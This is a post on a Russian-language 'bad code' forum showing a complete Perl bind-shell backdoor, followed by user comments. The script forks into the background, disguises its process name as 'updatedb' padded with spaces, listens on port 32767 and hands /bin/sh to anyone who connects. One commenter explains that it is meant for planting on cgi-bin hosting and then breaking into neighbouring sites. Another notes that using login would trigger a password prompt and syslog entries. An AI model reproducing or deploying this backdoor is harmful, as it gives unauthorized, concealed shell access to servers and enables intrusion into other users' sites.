=()= / Говнокод #308 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
#!/usr/bin/perl

$port = 32767;
$port = $ARGV[0] if $ARGV[0];
exit if fork;
$0 = "updatedb" . " " x100;
$SIG{CHLD} = 'IGNORE';
use Socket;
socket(S, PF_INET, SOCK_STREAM, 0);
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($port, INADDR_ANY));
listen(S, 50);
while(1)
{
    accept(X, S);
    unless(fork)
    {
        open STDIN, "<&X";
        open STDOUT, ">&X";
        open STDERR, ">&X";
        close X;
        exec("/bin/sh");
    }
    close X;
}

Запостил: guest guest, (Updated )

Комментарии (8) RSS

  • Bobby:
    Неумение подобрать имя переменной - не говнокодерство.
    Ответить
  • nooob:
    Написано специально для закидывания на хостинг, где разрешен cgi-bin. Скрипт открывает шелл с правами вебсервера на определенном порту, и меняет свое имя в списке процессов, чтобы не было заметно. Потом прогулки по /home/ и взлом соседних сайтов. Не является говнокодом.
    Ответить
  • anonymous:
    >Не является говнокодом.
    А это что:
    $port = 32767;
    $port = $ARGV[0] if $ARGV[0];
    ?
    $port = $ARGV[0] || 32767
    не?
    Ответить
  • хуёвый телнет какой-то: почему собственно /bin/sh? почему не запустить login нормальный?
    и не забывайте что у порту 50 без рута не прибайндиться
    Ответить
    • Где тут 50 порт, guest8?

      > login
      Он же пароль попросит и в сислог всё запишет. Не айс для шелл-кода.
      Ответить

Добавить комментарий

Переведи на "PHP", guest!

    А не использовать ли нам bbcode?


    8